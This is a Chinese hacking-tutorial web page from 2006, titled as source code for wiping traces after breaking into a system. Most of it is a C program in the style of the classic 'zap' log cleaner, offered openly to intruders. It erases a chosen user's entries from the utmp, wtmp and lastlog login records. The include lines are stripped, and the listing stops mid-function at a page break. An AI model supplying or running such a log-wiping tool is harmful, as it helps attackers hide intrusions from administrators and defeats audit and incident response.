网站首页 | 网页制作 | 网络编程 | 图形图象 | 冲浪宝典 | 操作系统 | 软件教学 | 网络安全 | 认证考试 | 下载中心 | 游戏下载
| 网络安全首页 | 安全在线 | 病毒防治 | 黑客攻防 | 漏洞研究 | 黑客编程 | 破解手记 |
您现在的位置: 超人气学院 >> 网络安全 >> 黑客编程 >> 文章正文 用户登录 新用户注册
破坏入侵系统后现场的源码           
破坏入侵系统后现场的源码
作者:未知 文章来源:网络收集 点击数: 更新时间:2006-3-29 15:19:26
编辑 /etc/utmp, /usr/adm/wtmp and /usr/adm/lastlog.
请使用专门的编辑器

例子:


#include
#include
#include
#include
#include
#include
#include
#include
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"


int f;


void kill_utmp(who)
char *who;
{
struct utmp utmp_ent;


if ((f=open(UTMP_NAME,O_RDWR))>=0) {
while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof( utmp_ent ));
lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
write (f, &utmp_ent, sizeof (utmp_ent));
}
close(f);
}
}


void kill_wtmp(who)
char *who;
{
struct utmp utmp_ent;
long pos;


pos = 1L;
if ((f=open(WTMP_NAME,O_RDWR))>=0) {


while(pos != -1L) {
lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
pos = -1L;
} else {
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof(struct utmp ));
lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
write (f, &utmp_ent, sizeof (utmp_ent));
pos = -1L;
} else pos += 1L;
}
}
close(f);
}
}


void kill_lastlog(who)
char *who;
{
struct passwd *pwd;
struct lastlog newll;


if ((pwd=getpwnam(who))!=NULL) {


if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
lseek(f, (long)pwd->uid * sizeof (struct lastlog), 0);
bzero((char *)&newll,sizeof( newll ));
write(f, (char *)&newll, sizeof( newll ));
close(f);
}


} else printf("%s: ?\n",who);
}


main(argc,argv)
int argc;
char *argv[];
{
if (argc==2) {
kill_lastlog(argv[1]);
kill_wtmp(argv[1

[1] [2] 下一页

[ 收藏此页到: 天天|和讯|博采|ViVi|狐摘|我摘|天极 ] 文章录入:kinda    责任编辑:kinda 
  • 上一篇文章:

  • 下一篇文章:
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
    专 题 栏 目
    最 新 热 门
     Windows中巧用RUNDLL3[5355]
     黑客软件编写基础知识[827]
     Win32Asm快速教程[535]
    相 关 文 章
    非主流入侵之会话劫持winn
    3389端口漏洞的入侵
    我是这样渗透入侵孤独剑客
    我是如何入侵母校的
    冰河入侵者诱捕实例
    入侵海森黑客网
    UNIX主机的入侵
    一次透过SNIFF有目的性的入
    轻松入侵运行UBB的主机
    一步一步教您用unicode漏洞
    一次入侵bbs3000取得最高权
    一次入侵的经过
    入侵分析
    如何一步一步入侵某公司内
    xpupnp帮你轻松入侵window
    网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)